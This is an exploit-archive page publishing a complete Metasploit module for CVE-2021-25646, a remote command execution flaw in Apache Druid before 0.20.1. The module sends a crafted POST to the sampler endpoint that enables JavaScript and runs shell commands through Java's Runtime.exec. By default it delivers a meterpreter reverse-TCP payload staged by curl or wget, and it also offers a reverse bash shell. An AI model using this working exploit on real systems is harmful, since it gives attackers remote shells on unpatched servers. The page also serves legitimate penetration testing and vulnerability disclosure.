exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Druid 0.20.0 Remote Command Execution

Apache Druid 0.20.0 Remote Command Execution
Posted Apr 27, 2021
Authored by Litch1, je5442804, Alibaba Cloud Security Team | Site metasploit.com

Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests; however, that feature is disabled by default. In Druid versions prior to 0.20.1, an authenticated user can send a specially-crafted request that both enables the JavaScript code-execution feature and executes the supplied code all at once, allowing for code execution on the server with the privileges of the Druid Server process. More critically, authentication is not enabled in Apache Druid by default.

tags | exploit, javascript, code execution
advisories | CVE-2021-25646
SHA-256 | b298c899e38be69b54163c4da54bb4be979f3abb34cca3c04ac527f6a5c92905

Apache Druid 0.20.0 Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Druid 0.20.0 Remote Command Execution',
'Description' => %q{
Apache Druid includes the ability to execute user-provided JavaScript code embedded in
various types of requests; however, that feature is disabled by default.

In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request
that both enables the JavaScript code-execution feature and executes the supplied code all
at once, allowing for code execution on the server with the privileges of the Druid Server process.
More critically, authentication is not enabled in Apache Druid by default.

Tested on the following Apache Druid versions:

* 0.15.1
* 0.16.0-iap8
* 0.17.1
* 0.18.0-iap3
* 0.19.0-iap7
* 0.20.0-iap4.1
* 0.20.0
* 0.21.0-iap3
},
'Author' => [
'Litch1, Security Team of Alibaba Cloud', # Vulnerability discovery
'je5442804' # Metasploit module
],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'References' => [
['CVE', '2021-25646'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25646'],
['URL', 'https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E'],
['URL', 'https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py']
],
'DisclosureDate' => '2021-01-21',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Targets' => [
[
'Linux (dropper)', {
'Platform' => 'linux',
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'curl' },
'CmdStagerFlavor' => %w[curl wget],
'Arch' => [ARCH_X86, ARCH_X64]
}
],
[
'Unix (in-memory)', {
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
],
'DefaultTarget' => 0,
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(8888),
OptString.new('TARGETURI', [true, 'The base path of Apache Druid', '/'])
])
end

def execute_command(cmd, _opts = {})
gencmd = '/bin/sh`@~-c`@~' + cmd
genvar = Rex::Text.rand_text_alpha(8..12)
genname = Rex::Text.rand_text_alpha(8..12)
vprint_status("cmd= #{gencmd} var=#{genvar} name=#{genname}")
post_data = {
type: 'index',
spec: {
ioConfig: {
type: 'index',
firehose: {
type: 'local',
baseDir: '/etc',
filter: 'passwd'
}
},
dataSchema: {
dataSource: Rex::Text.rand_text_alpha(8..12),
parser: {
parseSpec: {
format: 'javascript',
timestampSpec: {},
dimensionsSpec: {},
function: "function(){var #{genvar} = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"#{gencmd}\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"#{rand(1..9999999)}\",#{genname}: #{genvar}}}",
"": {
enabled: 'true'
}
}
}
}
},
samplerConfig: {
numRows: 10
}
}.to_json

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/druid/indexer/v1/sampler'),
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json, text/plain, */*'
},
'data' => post_data
})
end

def check
genecho = Rex::Text.rand_text_alphanumeric(16..32).gsub(/A/, 'a')

vprint_status("Attempting to execute 'echo #{genecho}' on the target.")
res = execute_command("echo #{genecho}")
unless res
return CheckCode::Unknown('Connection failed.')
end

unless res.code == 200
return CheckCode::Safe
end

if res.body.include?(genecho)
return CheckCode::Vulnerable
end

CheckCode::Unknown('Target does not seem to be running Apache Druid.')
end

def exploit
case target['Type']
when :linux_dropper
execute_cmdstager
when :unix_memory
execute_command(payload.encoded)
end
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close